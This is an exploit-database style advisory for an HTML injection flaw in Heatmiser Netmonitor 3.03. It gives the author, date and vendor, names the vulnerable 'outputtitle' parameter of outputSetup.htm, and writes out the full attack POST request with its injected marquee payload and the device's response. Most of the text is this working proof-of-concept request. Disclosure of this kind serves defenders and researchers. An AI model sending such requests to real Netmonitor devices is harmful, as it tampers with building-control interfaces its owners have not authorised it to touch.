Heatmiser Netmonitor 3.03 HTML Injection

`# Exploit Title: Heatmiser Netmonitor 3.03 - HTML Injection  
# Date: 2019-12-22   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.heatmiser.com/en/  
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf  
# Software: Netmonitor v3.03  
# Product Version: Netmonitor v3.03  
# Vulernability Type: Code Injection  
# Vulenrability: HTML Injection  
# CVE: N/A  
  
# Description :  
# Heatmiser Net Monitor v3.03 allows HTML Injection via the  
# outputSetup.htm outputtitle parameter. The HTML Injection  
# vulnerability was discovered in v3.03 version of Net Monitor  
# from the Heatmiser manufacturer. This vulnerability is  
# vulnerable to hardware that use this software.  
  
  
# HTTP Post Request :  
  
POST /outputSetup.htm HTTP/1.1  
Host: XXX.XXX.XXX.XXX  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 95  
Origin: http://XXX.XXX.XXX.XXX  
Connection: close  
Referer: http://TARGET/outputSetup.htm  
Upgrade-Insecure-Requests: 1  
  
outputtitle=%22%3E%3Cmarquee%3ETEST%23undefined%23undefined%23undefined%23undefined%23undefined  
  
# HTTP Response :  
  
HTTP/1.1 200 OK  
Date: Sun, 22 Dec 2019 20:25:22 GMT  
Server: Z-World Rabbit  
Connection: close  
Content-Type: text/html  
`